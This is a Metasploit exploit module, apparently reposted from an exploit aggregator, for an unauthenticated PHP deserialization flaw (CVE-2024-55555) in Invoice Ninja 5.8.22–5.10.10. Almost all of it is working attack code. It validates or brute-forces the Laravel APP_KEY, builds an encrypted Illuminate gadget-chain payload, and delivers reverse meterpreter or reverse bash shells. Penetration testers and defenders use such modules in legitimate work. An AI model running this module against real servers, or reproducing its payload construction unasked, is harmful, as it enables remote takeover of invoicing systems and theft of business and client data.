Share
## https://sploitus.com/exploit?id=PACKETSTORM:189419
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::LaravelCryptoKiller
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Invoice Ninja unauthenticated PHP Deserialization Vulnerability',
            'Description' => %q{
              Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
              A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated
              attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
              ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.
              As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
              potentially resulting in complete system compromise, data exfiltration, or unauthorized access
              to sensitive information.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
              'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability
              'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability
            ],
            'References' => [
              ['CVE', '2024-55555'],
              ['URL', 'https://attackerkb.com/topics/xxxxx/cve-2024-55555'],
              ['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known']
            ],
            'DisclosureDate' => '2024-12-13',
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => ['php'],
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [ true, 'The invoiceninja endpoint URL.', '/' ]),
          OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=']),
          OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil])
        ])
      end
    
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'route', cmd.to_s),
          'ctype' => 'application/x-www-form-urlencoded'
        })
      end
    
      def check
        print_status("Checking if #{peer} can be exploited.")
        res = send_request_cgi!({
          'method' => 'GET',
          'ctype' => 'application/x-www-form-urlencoded',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200
    
        # check if target is running the Invoice Ninja platform
        # search for the Invoice Ninja X-APP-VERSION within the returned headers from the login page
        version_number = res.headers['X-APP-VERSION']
        return CheckCode::Safe('No Invoice Ninja platform found.') if version_number.nil?
    
        if Rex::Version.new(version_number).between?(Rex::Version.new('5.8.22'), Rex::Version.new('5.10.10'))
          return CheckCode::Appears("Invoice Ninja #{version_number}")
        end
    
        checkCode::Safe("Invoice Ninja #{version_number}")
      end
    
      def exploit
        # lets first check if decryption is successful with the APP_KEY by decrypting the XSRF_TOKEN inside the cookie.
        # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier
        cipher_mode = 'AES-256-CBC'
        res = send_request_cgi!({
          'method' => 'GET',
          'ctype' => 'application/x-www-form-urlencoded',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200
    
        print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.')
        print_status('Grabbing the cookie with the XSRF-TOKEN.')
        set_cookie = res.get_cookies
        fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil?
        xsrf_token = set_cookie.match(/XSRF-TOKEN=([^;]+)/)
        fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') if xsrf_token.nil?
    
        if datastore['BRUTEFORCE']
          key_file = datastore['BRUTEFORCE']
          print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.")
          result = laravel_bruteforce_from_file(xsrf_token[1], key_file, cipher_mode)
          fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil?
          valid_app_key = result['key']
          unciphered_value = result['value']
        else
          result = laravel_decrypt(xsrf_token[1], datastore['APP_KEY'], cipher_mode)
          fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil?
          valid_app_key = datastore['APP_KEY']
          unciphered_value = result
        end
        print_good("APP_KEY is valid: #{valid_app_key}")
        print_good("Unciphered value: #{unciphered_value}")
    
        print_status('Generate an encrypted serialization payload with our cracked APP_KEY.')
        pl = payload.encoded
        pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
        pl_len = pl.length
        laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
        b64_laravel_payload = Base64.strict_encode64(laravel_payload)
        laravel_cipher = laravel_encrypt(b64_laravel_payload, valid_app_key, cipher_mode)
        fail_with(Failure::BadConfig, 'Laravel encryption failed.') if laravel_cipher.nil?
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_command(laravel_cipher)
      end
    end